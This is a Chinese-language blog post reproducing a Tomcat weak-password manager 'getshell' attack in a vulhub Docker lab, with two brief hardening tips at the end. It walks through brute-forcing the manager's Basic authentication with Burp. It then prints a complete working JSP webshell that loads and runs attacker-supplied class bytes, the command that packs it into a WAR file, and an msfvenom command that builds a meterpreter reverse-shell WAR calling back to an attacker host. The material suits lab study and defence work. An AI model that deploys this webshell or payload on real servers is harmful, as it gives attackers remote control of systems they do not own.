tomcat弱口令後臺getshell漏洞復現

Junglezt發表於2024-04-08

漏洞描述

tomcat是一個用於快速部署jsp網站的中介軟體

tomcat預設的管理頁面manager使用basic認證使用者名稱密碼登入,可以使用burp進行爆破,並且一般安裝後如果不修改/conf/tomcat-users.xml檔案中的預設使用者名稱密碼tomcat:tomcat,可以登入管理後臺,在部署war包後tomcat預設會將war包中的專案部署,由於可以任意的上傳,所以我們可以將jsp檔案打包為一個war檔案上傳getshell

tomcat預設目錄解析

  • bin : 存放啟動和關閉tomcat服務的可執行檔案,例如.bat .exe .sh
  • catalina.sh: 主要用於啟動和管理tomcat伺服器
  • startup.sh : 啟動tomcat服務
  • shutdown.sh : 關閉tomcat服務
  • configtest.sh : 檢查配置檔案
  • conf : 存放配置檔案
    • server.xml: 全域性配置檔案
    • web.xml: 控制tomcat支援的檔案型別
    • tomcat-users.xml : tomcat使用者配置檔案
  • lib : 各種jar檔案,tomcat庫檔案
  • logs : 日誌檔案
  • webapps : Web應用程式目錄,其中可能預設還有以下目錄
    • examples : 該目錄是一個tomcat部署的一個預設專案,其中會展示tomcat的功能
    • ROOT : 是Web服務的預設目錄,例如在訪問http://localhost:8080/目錄時,預設訪問呢就是該目錄的檔案
    • manager : tomcat的管理應用,用於遠端部署、啟動、停止和解除安裝Web應用。這個應用通常需要管理員許可權才能訪問,該頁面的使用者配置檔案由conf/tomcat-users.xml配置
    • host-manager : 管理虛擬主機,需要管理員許可權

這裡只做簡單瞭解。

漏洞利用

使用vulhub進行漏洞復現

cd vulhub/tomcat/tomcat8
sudo docker-compose up -d

該漏洞場景是部署沒有修改的配置檔案tomcat-users.xml,其中使用者名稱和密碼都是tomcat,這裡我們為了學習更多的方法,採用burp嘗試爆破basic認證
點選mananger app或者直接訪問manager目錄,會提示登入,這裡隨便輸入使用burp抓包提交

傳送到爆破模組

YWRtaW46YWRtaW4=進行base64解碼

所以這裡需要新增三個引數並且拼接到一起,這是最好的方式是使用自定義迭代的方法
格式為: 使用者名稱:密碼,然後提交的時候進行base64加密,這裡我們使用預設模式sniper(狙擊手)

配置每個位置的值,注意這裡每個使用者名稱變數都使用自定義迭代器
第一個就是使用者名稱變數,由於這裡我們知道使用者和密碼,只是做一些爆破測試,手動加入一些常見的使用者名稱,選擇位置為1

第二個變數是使用者名稱和密碼的分解符,所以直接加入:即可,選擇位置2

第三個變數是密碼變數,手動加入一些密碼測試爆破,選擇位置3

取消預設將引數值進行url編碼

最後進行base64編碼

最後開始爆破

透過狀態碼為200表示爆破成功,我們進行base64解密後臺使用者名稱密碼就是tomcat:tomcat

接著我們訪問並登入後臺找到上傳war檔案位置

這是需要執著一個war的包,可以自己手動打包,jsp一句話木馬程式碼如下,密碼為passwd

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

使用jar cvf test.war test.jsp打包

將該test.war上傳後tomcat直接會部署該專案,根據檔名生成一個目錄,並將我們打包的test.jsp放到目錄中,所以只需要訪問test/test.jsp即可


訪問成功,空白頁面

使用蟻劍連線

額外的技巧,使用msfvenom也可以生成war後門檔案,如下

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=172.25.0.1 LPORT=4444 -f war -o shell.war

上傳後只需要啟動msfconsole然後use multi/handler,設定payload和相關引數,可以獲得一個更強的meterpreter shell
感興趣可以手動嘗試。

漏洞修復建議

  1. conf/tomcat-users.xml中的使用者名稱和密碼都進行更改,改的極其複雜,更改後記得重啟伺服器
  2. manager目錄下的功能暫時關閉,需要的時候開啟

相關文章